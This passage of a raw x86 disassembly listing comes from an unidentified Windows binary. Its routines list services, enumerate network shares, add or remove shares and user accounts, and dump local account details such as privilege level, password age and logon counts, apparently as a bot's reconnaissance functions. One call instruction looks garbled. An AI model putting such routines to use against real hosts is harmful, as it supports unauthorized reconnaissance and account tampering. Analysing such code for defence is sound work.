offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D885: ; CODE XREF: sub_40D835+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D88F: ; CODE XREF: sub_40D835+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D899: ; CODE XREF: sub_40D835+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8A3: ; CODE XREF: sub_40D835+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8AD: ; CODE XREF: sub_40D835+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_40D8DC dec ecx jz short loc_40D8D5 dec ecx jz short loc_40D8CE dec ecx jnz loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_40D952 ; --------------------------------------------------------------------------- loc_40D8CE: ; CODE XREF: sub_40D835+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8D5: ; CODE XREF: sub_40D835+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8DC: ; CODE XREF: sub_40D835+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8E3: ; CODE XREF: sub_40D835+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D8EA: ; CODE XREF: sub_40D835+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 jz short loc_40D94D lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_40D960 ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_40D9A1[ecx] jmp off_40D979[ecx*4] ; switch jump loc_40D90E: ; DATA XREF: ___:off_40D979o push offset aTheSpecifiedDa ; jumptable 0040D907 case 7 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D915: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDepe ; jumptable 0040D907 case 17 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D91C: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceDe_0 ; jumptable 0040D907 case 10 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D923: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasB ; jumptable 0040D907 case 0 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D92A: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheSpecified_0 ; jumptable 0040D907 case 2 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D931: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceCoul ; jumptable 0040D907 case 11 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D938: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHa_0 ; jumptable 0040D907 case 14 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D93F: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheRequested_1 ; jumptable 0040D907 case 3 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D946: ; CODE XREF: sub_40D835+D2j ; DATA XREF: ___:off_40D979o push offset aTheServiceHasN ; jumptable 0040D907 case 4 jmp short loc_40D952 ; --------------------------------------------------------------------------- loc_40D94D: ; CODE XREF: sub_40D835+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_40D952: ; CODE XREF: sub_40D835+41j ; sub_40D835+4Bj ... push offset dword_443A78 call sub_4172B0 pop ecx pop ecx jmp short loc_40D973 ; --------------------------------------------------------------------------- loc_40D960: ; CODE XREF: sub_40D835+36j ; sub_40D835+89j ... push eax ; default ; jumptable 0040D907 cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownErr_0 ; "An unknown error occurred: <%ld>" push offset dword_443A78 call sub_4172B0 add esp, 0Ch loc_40D973: ; CODE XREF: sub_40D835+129j mov eax, offset dword_443A78 retn sub_40D835 endp ; --------------------------------------------------------------------------- off_40D979 dd offset loc_40D923 ; DATA XREF: sub_40D835+D2r dd offset loc_40D92A ; jump table for switch statement dd offset loc_40D93F dd offset loc_40D946 dd offset loc_40D90E dd offset loc_40D91C dd offset loc_40D931 dd offset loc_40D938 dd offset loc_40D915 dd offset loc_40D960 byte_40D9A1 db 0, 9, 1, 2 ; DATA XREF: sub_40D835+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40D9B3 proc near ; CODE XREF: sub_40EE72+2094p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_43F65C push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 14h loc_40D9EB: ; CODE XREF: sub_40D9B3+120j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_43F628 test eax, eax jnz short loc_40DA25 nop call near ptr 2630313h cmp eax, 0EAh jnz loc_40DAD9 loc_40DA25: ; CODE XREF: sub_40D9B3+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_40DAD0 lea esi, [ebp+var_188] loc_40DA36: ; CODE XREF: sub_40D9B3+117j mov eax, [esi+8] dec eax jz short loc_40DA7F dec eax jz short loc_40DA78 dec eax jz short loc_40DA71 dec eax jz short loc_40DA6A dec eax jz short loc_40DA63 dec eax jz short loc_40DA5C dec eax jz short loc_40DA55 push offset aUnknown_0 ; " Unknown" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA55: ; CODE XREF: sub_40D9B3+99j push offset aPaused_0 ; " Paused" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA5C: ; CODE XREF: sub_40D9B3+96j push offset aPausing ; " Pausing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA63: ; CODE XREF: sub_40D9B3+93j push offset aContinuing ; " Continuing" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA6A: ; CODE XREF: sub_40D9B3+90j push offset aRunning ; " Running" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA71: ; CODE XREF: sub_40D9B3+8Dj push offset aStoping ; " Stoping" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA78: ; CODE XREF: sub_40D9B3+8Aj push offset aStarting ; " Starting" jmp short loc_40DA84 ; --------------------------------------------------------------------------- loc_40DA7F: ; CODE XREF: sub_40D9B3+87j push offset aStopped ; " Stopped" loc_40DA84: ; CODE XREF: sub_40D9B3+A0j ; sub_40D9B3+A7j ... lea eax, [ebp+var_20] push eax call sub_4172B0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS ; "%s: %s (%s)" push eax call sub_4172B0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_40DA36 loc_40DAD0: ; CODE XREF: sub_40D9B3+77j cmp [ebp+var_8], ebx jnz loc_40D9EB loc_40DAD9: ; CODE XREF: sub_40D9B3+6Cj push [ebp+var_C] call dword_43F56C xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_40D9B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DAF0 proc near ; CODE XREF: sub_40EE72:loc_410FB4p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_40DB8A mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_40DB19 dec eax jnz short loc_40DB6A push edi push 0 call sub_40DCC3 pop ecx pop ecx jmp short loc_40DB66 ; --------------------------------------------------------------------------- loc_40DB19: ; CODE XREF: sub_40DAF0+18j cmp [ebp+arg_8], 0 jnz short loc_40DB58 push 24h push edi call sub_418F50 pop ecx test eax, eax pop ecx jnz short loc_40DB58 push 57h pop eax loc_40DB30: ; CODE XREF: sub_40DAF0+78j push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_443D34 push off_42E7A0[eax*4] push offset dword_42EE98 push esi call sub_4172B0 add esp, 14h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB58: ; CODE XREF: sub_40DAF0+2Dj ; sub_40DAF0+3Bj push [ebp+arg_8] push edi push 0 call sub_40DC17 add esp, 0Ch loc_40DB66: ; CODE XREF: sub_40DAF0+27j test eax, eax jnz short loc_40DB30 loc_40DB6A: ; CODE XREF: sub_40DAF0+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_443D34 push off_42E7A4[eax*4] push offset dword_42EE6C push esi call sub_4172B0 add esp, 10h jmp short loc_40DBAA ; --------------------------------------------------------------------------- loc_40DB8A: ; CODE XREF: sub_40DAF0+Aj mov eax, [ebp+arg_0] mov esi, offset dword_443D34 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EE38 push esi call sub_4172B0 add esp, 0Ch loc_40DBAA: ; CODE XREF: sub_40DAF0+66j ; sub_40DAF0+98j mov eax, esi pop edi pop esi pop ebp retn sub_40DAF0 endp ; =============== S U B R O U T I N E ======================================= sub_40DBB0 proc near ; CODE XREF: sub_415F88+245p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_40DBBD xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40DBBD: ; CODE XREF: sub_40DBB0+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_424150 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi test byte_443F34, 1 mov ebp, eax jnz short loc_40DBFA or byte_443F34, 1 lea eax, [ebp+1] push eax call sub_4185F5 pop ecx mov dword_443CD4, eax loc_40DBFA: ; CODE XREF: sub_40DBB0+32j push esi push esi push ebp push dword_443CD4 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi mov eax, dword_443CD4 pop edi pop ebp pop ebx pop esi retn sub_40DBB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DC17 proc near ; CODE XREF: sub_40DAF0+6Ep ; sub_4162AC+18Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418F50 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_40DC82 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_43F568 pop edi leave retn sub_40DC17 endp ; =============== S U B R O U T I N E ======================================= sub_40DC82 proc near ; CODE XREF: sub_40DC17+Ap ; sub_40DC17+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_40DC8F pop ebp retn ; --------------------------------------------------------------------------- loc_40DC8F: ; CODE XREF: sub_40DC82+9j push ebx push esi mov esi, dword_424070 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi mov edi, eax lea eax, [edi+edi+2] push eax call sub_4185F5 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_40DC82 endp ; =============== S U B R O U T I N E ======================================= sub_40DCC3 proc near ; CODE XREF: sub_40DAF0+20p ; sub_415F88+1BBp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push 0 push eax push esi call dword_43F540 pop esi retn sub_40DCC3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DCE6 proc near ; CODE XREF: sub_40EE72+2169p var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_40DC82 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40DD1F: ; CODE XREF: sub_40DCE6+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_43F5B4 mov ebx, eax cmp ebx, esi jz short loc_40DD82 cmp ebx, 0EAh jz short loc_40DD82 push ebx push ebx call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_210] push offset dword_42EEF4 push eax call sub_4172B0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40DDEF ; --------------------------------------------------------------------------- loc_40DD82: ; CODE XREF: sub_40DCE6+5Dj ; sub_40DCE6+65j push 1 pop edi cmp [ebp+arg_C], edi jb short loc_40DDE6 mov eax, [ebp+var_4] lea esi, [eax+14h] loc_40DD90: ; CODE XREF: sub_40DCE6+FCj push dword ptr [esi+10h] call dword_43F55C test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_40DDA7 mov eax, offset aNo ; "No" loc_40DDA7: ; CODE XREF: sub_40DCE6+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_40DD90 xor esi, esi loc_40DDE6: ; CODE XREF: sub_40DCE6+A2j push [ebp+var_4] call dword_43F6F8 loc_40DDEF: ; CODE XREF: sub_40DCE6+9Aj cmp ebx, 0EAh jz loc_40DD1F xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_40DCE6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DE07 proc near ; CODE XREF: sub_40EE72:loc_411047p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_40DEAC mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_40DE49 dec eax jz short loc_40DE3E dec eax jnz short loc_40DE64 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_40DF4E add esp, 14h jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE3E: ; CODE XREF: sub_40DE07+1Dj push ebx push edi call sub_40DF2D pop ecx pop ecx jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE49: ; CODE XREF: sub_40DE07+1Aj cmp [ebp+arg_8], edi jz short loc_40DE5D push [ebp+arg_8] push ebx push edi call sub_40DED3 add esp, 0Ch jmp short loc_40DE60 ; --------------------------------------------------------------------------- loc_40DE5D: ; CODE XREF: sub_40DE07+45j push 57h pop eax loc_40DE60: ; CODE XREF: sub_40DE07+35j ; sub_40DE07+40j ... cmp eax, edi jnz short loc_40DE84 loc_40DE64: ; CODE XREF: sub_40DE07+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_443F38 push off_42E7A4[eax*4] push offset dword_42EFD8 push esi call sub_4172B0 add esp, 10h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DE84: ; CODE XREF: sub_40DE07+5Bj push eax call sub_40E4B7 pop ecx push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_443F38 push off_42E7A0[eax*4] push offset dword_42EF9C push esi call sub_4172B0 add esp, 14h jmp short loc_40DECC ; --------------------------------------------------------------------------- loc_40DEAC: ; CODE XREF: sub_40DE07+Dj mov eax, [ebp+arg_0] mov esi, offset dword_443F38 lea eax, [eax+eax*2] push off_42E7A0[eax*4] push offset dword_42EF64 push esi call sub_4172B0 add esp, 0Ch loc_40DECC: ; CODE XREF: sub_40DE07+7Bj ; sub_40DE07+A3j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_40DE07 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DED3 proc near ; CODE XREF: sub_40DE07+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov edi, eax call sub_40DC82 push [ebp+arg_8] mov [ebp+var_24], eax call sub_40DC82 add esp, 0Ch mov [ebp+var_20], eax and [ebp+var_14], 0 and [ebp+var_10], 0 push 1 and [ebp+var_8], 0 pop eax lea ecx, [ebp+var_4] push ecx lea ecx, [ebp+var_24] push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_43F54C pop edi leave retn sub_40DED3 endp ; =============== S U B R O U T I N E ======================================= sub_40DF2D proc near ; CODE XREF: sub_40DE07+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_40DC82 push [esp+8+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx push eax push esi call dword_43F53C pop esi retn sub_40DF2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DF4E proc near ; CODE XREF: sub_40DE07+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_40DC82 push [ebp+arg_4] mov esi, eax call sub_40DC82 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_43F6C0 test eax, eax mov [ebp+arg_0], eax jnz loc_40E2F6 mov eax, [ebp+var_4] test eax, eax jz loc_40E331 push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_4172B0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h mov eax, [eax+10h] sub eax, 0 jz short loc_40E06D dec eax jz short loc_40E066 dec eax jz short loc_40E05F mov eax, offset aUnknown ; "Unknown" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E05F: ; CODE XREF: sub_40DF4E+108j mov eax, offset aAdministrator ; "Administrator" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E066: ; CODE XREF: sub_40DF4E+105j mov eax, offset aUser_0 ; "User" jmp short loc_40E072 ; --------------------------------------------------------------------------- loc_40E06D: ; CODE XREF: sub_40DF4E+102j mov eax, offset aGuest ; "Guest" loc_40E072: ; CODE XREF: sub_40DF4E+10Fj ; sub_40DF4E+116j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_4172B0 push 1 push esi lea eax, [ebp+var_204] push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 mov eax, [ebp+var_4] add esp, 20h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_4172B0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40D679 add esp, 20h pop edi pop ebx jmp short loc_40E322 ; --------------------------------------------------------------------------- loc_40E2F6: ; CODE XREF: sub_40DF4E+35j push eax lea eax, [ebp+var_204] push offset dword_42F008 push eax call sub_4172B0 push 0 lea eax, [ebp+var_204] push [ebp+arg_10] push eax push [ebp+arg_C] push [ebp+arg_8] call sub_40D679 add esp, 20h loc_40E322: ; CODE XREF: sub_40DF4E+3A6j cmp [ebp+var_4], 0 jz short loc_40E331 push [ebp+var_4] call dword_43F6F8 loc_40E331: ; CODE XREF: sub_40DF4E+40j ; sub_40DF4E+3D8j mov eax, [ebp+arg_0] pop esi leave retn sub_40DF4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E337 proc near ; CODE XREF: sub_40EE72+21F2p var_218 = byte ptr -218h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 218h push ebx push esi push edi xor esi, esi push [ebp+arg_C] mov [ebp+var_4], esi call sub_40DC82 push esi mov [ebp+var_14], eax push [ebp+arg_8] mov [ebp+arg_C], esi mov [ebp+var_18], esi mov [ebp+var_10], esi push offset aUsernameAccoun ; "Username accounts for local system:" mov [ebp+var_8], esi push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 18h loc_40E376: ; CODE XREF: sub_40E337+135j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_18] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 2 push esi push [ebp+var_14] call dword_43F5D0 cmp eax, esi mov [ebp+var_C], eax jz short loc_40E3D7 cmp eax, 0EAh jz short loc_40E3D7 push eax push eax call sub_40E4B7 pop ecx push eax lea eax, [ebp+var_218] push offset dword_42F218 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 24h jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E3D7: ; CODE XREF: sub_40E337+62j ; sub_40E337+69j mov edi, [ebp+var_4] cmp edi, esi jz loc_40E465 xor ebx, ebx cmp [ebp+arg_C], esi jbe short loc_40E452 loc_40E3E9: ; CODE XREF: sub_40E337+EDj cmp edi, esi jz short loc_40E428 push dword ptr [edi] lea eax, [ebp+var_218] push offset aS_4 ; " %S" push eax call sub_4172B0 push 1 lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h add edi, 4 inc [ebp+var_8] inc ebx cmp ebx, [ebp+arg_C] jb short loc_40E3E9 jmp short loc_40E452 ; --------------------------------------------------------------------------- loc_40E428: ; CODE XREF: sub_40E337+B4j lea eax, [ebp+var_218] push offset dword_42F1D4 push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 1Ch loc_40E452: ; CODE XREF: sub_40E337+9Ej ; sub_40E337+B0j ... mov edi, [ebp+var_4] cmp edi, esi jz short loc_40E465 push edi call dword_43F6F8 xor edi, edi mov [ebp+var_4], edi loc_40E465: ; CODE XREF: sub_40E337+A5j ; sub_40E337+120j cmp [ebp+var_C], 0EAh jz loc_40E376 cmp edi, esi jz short loc_40E47D push edi call dword_43F6F8 loc_40E47D: ; CODE XREF: sub_40E337+13Dj push [ebp+var_8] lea eax, [ebp+var_218] push offset aTotalUsersFoun ; "Total users found: %d." push eax call sub_4172B0 push esi lea eax, [ebp+var_218] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40D679 add esp, 20h xor 